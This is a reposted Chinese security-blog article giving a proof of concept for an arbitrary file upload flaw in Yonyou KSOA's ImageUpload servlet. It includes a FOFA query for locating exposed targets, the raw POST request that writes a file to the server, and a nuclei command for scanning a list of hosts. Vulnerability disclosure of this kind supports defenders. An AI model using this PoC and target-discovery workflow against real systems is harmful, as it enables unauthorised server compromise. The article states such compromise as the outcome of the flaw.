用友-时空KSOA ImageUpload 任意文件上传漏洞 PoC

admin
admin
admin
138635
文章
114
评论
2024年11月13日22:03:18评论21 views字数 667阅读2分13秒阅读模式

 

0x02 漏洞描述

用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业前沿的IT需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话。用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。用友-时空KSOA ImageUpload 任意文件上传漏洞 PoC

0x03 漏洞复现

fofa：app="用友-时空KSOA"

1.使用POC上传helloyongyouKSOA.txt文件，并访问/pictures/helloyongyouKSOA.txt，得到回显

POST /servlet/com.sksoft.bill.ImageUpload?filename=helloyongyouKSOA.txt&filepath=/ HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Content-Length: 16Accept: */*Accept-Encoding: gzip, deflateConnection: close

用友-时空KSOA ImageUpload 任意文件上传漏洞 PoC

2.nuclei验证已发表于知识星球

nuclei.exe -t yongyouKSOA_ImageUpload_upload.yaml -l subs.txt -stats

用友-时空KSOA ImageUpload 任意文件上传漏洞 PoC

原文始发于微信公众号（融云攻防实验室）：漏洞复现 用友-时空KSOA ImageUpload 任意文件上传漏洞

 

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日22:03:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   用友-时空KSOA ImageUpload 任意文件上传漏洞 PoChttps://cn-sec.com/archives/1652711.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息